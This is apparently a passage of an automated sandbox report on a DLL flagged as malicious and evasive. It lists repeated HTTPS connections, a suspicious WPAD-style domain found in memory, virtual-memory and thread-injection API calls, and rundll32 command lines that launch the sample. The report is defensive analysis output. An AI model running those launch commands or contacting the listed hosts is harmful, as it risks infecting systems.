00000003.00000003.2490132601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datua
Source: rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datw
Source: rundll32.exe, 00000004.00000002.3515436258.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.daty
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2457396280.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/xNh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_029278A5 NtAllocateVirtualMemory,	3_3_029278A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_02927945 NtProtectVirtualMemory,	3_3_02927945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_650C259A GetNativeSystemInfo,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,	3_2_650C259A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_650C2590 GetNativeSystemInfo,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,	3_2_650C2590
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_031978A5 NtAllocateVirtualMemory,	4_3_031978A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_03197945 NtProtectVirtualMemory,	4_3_03197945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA7945 NtProtectVirtualMemory,	5_3_02DA7945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA78A5 NtAllocateVirtualMemory,	5_3_02DA78A5

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_02925AA5	3_3_02925AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_3_03195AA5	4_3_03195AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_3_02DA5AA5	5_3_02DA5AA5

Source: appbase.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Source: classification engine

Classification label: mal52.evad.winDLL@10/0@1/1

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2172:120:WilError_03

Source: appbase.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\appbase.dll,main

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\appbase.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\appbase.dll,main
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\appbase.dll",main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\appbase.dll,main	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\appbase.dll",main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: appbase.dll

Static PE information: Image base 0x650c0000 > 0x60000000

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
